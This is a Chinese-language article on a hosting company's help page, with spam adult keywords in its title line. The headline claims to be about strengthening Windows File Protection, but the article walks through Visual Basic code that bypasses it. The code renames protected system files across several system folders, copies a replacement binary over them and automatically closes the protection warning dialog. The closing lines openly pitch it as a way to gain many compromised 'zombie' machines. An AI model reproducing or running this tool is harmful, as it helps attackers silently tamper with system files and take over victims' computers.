亚洲综合社区欧美综合色-欧美逼逼一区二区三区-国产老熟女高潮精品网站-国产日韩最新视频在线看

始創(chuàng)于2000年 股票代碼:831685
咨詢熱線:0371-60135900 注冊有禮 登錄
  • 掛牌上市企業(yè)
  • 60秒人工響應
  • 99.99%連通率
  • 7*24h人工
  • 故障100倍補償
全部產(chǎn)品
您的位置: 網(wǎng)站首頁 > 幫助中心>文章內(nèi)容

幾招技巧徹底加強Windows文件保護穩(wěn)定性

發(fā)布時間:  2012/9/5 18:02:41

“破壞”思想

還是先說思想,有了思想萬事都好辦。注意“攻略”一文中對話框的標題,是不是“Windows 文件保護”啊。我們就從它下手。有兩種方法,一是根據(jù)這個窗口標題查找,找到后將其隱藏,這個可以通過ShowWindow API和SW_HIDE消息來完成,但是畢竟窗口仍然存在,不是很安全。第二種也同樣是根據(jù)這個窗口標題查找,找到后不是將其隱藏,而是通過發(fā)送系統(tǒng)消息直接關閉。下面我將以一個完整的替換文件、關閉對話框的例子來講解。這里選擇第二種方法。

界面設計

好了,還是先給出各控件布局,及對應屬性。

初始化

程序開始首當其沖的當然是初始化了。在這里要聲明需要使用的API、常數(shù)及變量,并獲取Windows目錄的完整路徑。

'獲取WINDOWS安裝所在目錄的API

Private Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long

'查找窗口句柄的API

Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long

'根據(jù)句柄關閉指定窗口的API

Private Declare Function PostMessage Lib "user32" Alias "PostMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long

'關閉窗口的常數(shù)

Private Const WM_QUIT = &H12

'存放Windows目錄的變量

Dim WindowsDirectory As String

Private Sub Form_Load()

'存放獲取的Windows目錄的字符串緩沖區(qū)

Dim Path As String

'設置緩沖區(qū)內(nèi)容,以便分解Windows目錄的完整路徑
Path = Space(255)

'獲取Windows目錄的路徑,存放進緩沖區(qū)

Call GetWindowsDirectory(Path, 255)

'分解Windows目錄的完整路徑

WindowsDirectory = Mid(Path, 1, InStr(1, Path, " ") - 2)

'指定被替換文件的完整路徑及文件名

txtSource.Text = WindowsDirectory & "\" & "notepad.exe"

'指定替換文件的完整路徑及文件名

txtDestination = WindowsDirectory & "\" & "regedit.exe"

End Sub

然后就要開始替換文件的過程了。判斷指定的被替換文件和替換文件是否都存在,存在的話則就根據(jù)復選框選擇的路徑進行替換,這里的思想是將所有的文件都改名了,就沒有辦法恢復了,然后將替換文件復制成被替換文件,這樣就避免了直接替換而可能產(chǎn)生意料情況。替換后將定時器激活,進行對話框查找。

Private Sub cmdDo_Click()

'執(zhí)行時屏蔽所有的操作對象,防止誤操作,而導致程序崩潰

cmdDo.Enabled = False: txtSource.Enabled = False: txtDestination.Enabled = False
chkWindows.Enabled = False: chkSystem32.Enabled = False: chkDllcache.Enabled = False: chkI386.Enabled = False

'設置錯誤陷阱,因為下面的程序涉及到文件操作

On Error Resume Next

'判斷被替換文件和替換文件是否存在

If Dir(txtSource.Text) <> "" And Dir(txtDestination.Text) <> "" Then

'存在,定義被替換文件的文件名存放變量

Dim FileName As String

'獲取被替換文件的文件名

FileName = Mid(txtSource.Text, InStrRev(txtSource.Text, "\") + 1, Len(txtSource.Text) - InStrRev(txtSource.Text, "\"))

'判斷是否選中Dllcache復選框

If chkDllcache.Value = 1 Then

'是則對Dllcache下的被替換文件改名

Name WindowsDirectory & "\system32\dllcache\" & FileName As WindowsDirectory & "\system32\dllcache\" & FileName & ".bak"

End If

'判斷是否選中System32復選框

If chkSystem32.Value = 1 Then

'是則對System32下的被替換文件改名

Name WindowsDirectory & "\system32\" & FileName As WindowsDirectory & "\system32\" & FileName & ".bak"

End If

'判斷是否選中I386復選框

If chkI386.Value = 1 Then

'是則對I386下的被替換文件改名

Name WindowsDirectory & "\ServicePackFiles\i386\" & FileName As WindowsDirectory & "\ServicePackFiles\i386\" & FileName & ".bak"

End If

'判斷是否選中Windows復選框

If chkWindows.Value = 1 Then

'是則對Windows下的被替換文件改名

Name WindowsDirectory & "\" & FileName As WindowsDirectory & "\" & FileName & ".bak"
End If

'將替換文件復制為被替換文件

FileCopy txtDestination.Text, txtSource.Text

'激活定時器

timCheck.Enabled = True

End If

End Sub

最后則是不停的監(jiān)視那個“Windows 文件保護”的對話框,一出來就通過PostMessage API向其發(fā)送WM_QUIT系統(tǒng)消息,將其關閉。這里要注意一點,是用PostMessage而不是SendMessage,主要是因為消息不需要等待,如果用后者,則關閉不了“攻略”一文中的對話框。反而會彈出另一個對話框。

Private Sub timCheck_Timer()

'設置錯誤陷阱

On Error Resume Next

'定義存放"Windows 文件保護"窗口句柄的變量

Dim hwnd As Long

'查找"Windows 文件保護"窗口,并把對應的句柄存入變量

hwnd = FindWindow(vbNullString, "Windows 文件保護")

'判斷是否找到窗口

If hwnd <> 0 Then

'是則關閉窗口

Call PostMessage(hwnd, WM_QUIT, 0, 0)

'給出成功提示

MsgBox "替換成功!", vbInformation

'退出程序

End

End If

End Sub

好了,到這里就可以編譯使用了。

寫在最后

這樣簡簡單單幾步就把MS安全強大的WFP給突破了,讓我自己也有點不敢相信,不過這是事實,不得不信啊。一個“小”洞+一款利器=多多肉雞,相信你絕對不會錯過的。
如果有需要服務器的租用與托管的敬請聯(lián)系QQ:1501281758(億恩星辰)   聯(lián)系電話:0371—63322220


本文出自:億恩科技【1tcdy.com】

服務器租用/服務器托管中國五強!虛擬主機域名注冊頂級提供商!15年品質保障!--億恩科技[ENKJ.COM]

  • 您可能在找
  • 億恩北京公司:
  • 經(jīng)營性ICP/ISP證:京B2-20150015
  • 億恩鄭州公司:
  • 經(jīng)營性ICP/ISP/IDC證:豫B1.B2-20060070
  • 億恩南昌公司:
  • 經(jīng)營性ICP/ISP證:贛B2-20080012
  • 服務器/云主機 24小時售后服務電話:0371-60135900
  • 虛擬主機/智能建站 24小時售后服務電話:0371-60135900
  • 專注服務器托管17年
    掃掃關注-微信公眾號
    0371-60135900
    Copyright© 1999-2019 ENKJ All Rights Reserved 億恩科技 版權所有  地址:鄭州市高新區(qū)翠竹街1號總部企業(yè)基地億恩大廈  法律顧問:河南亞太人律師事務所郝建鋒、杜慧月律師   京公網(wǎng)安備41019702002023號
      0
     
     
     
     

    0371-60135900
    7*24小時客服服務熱線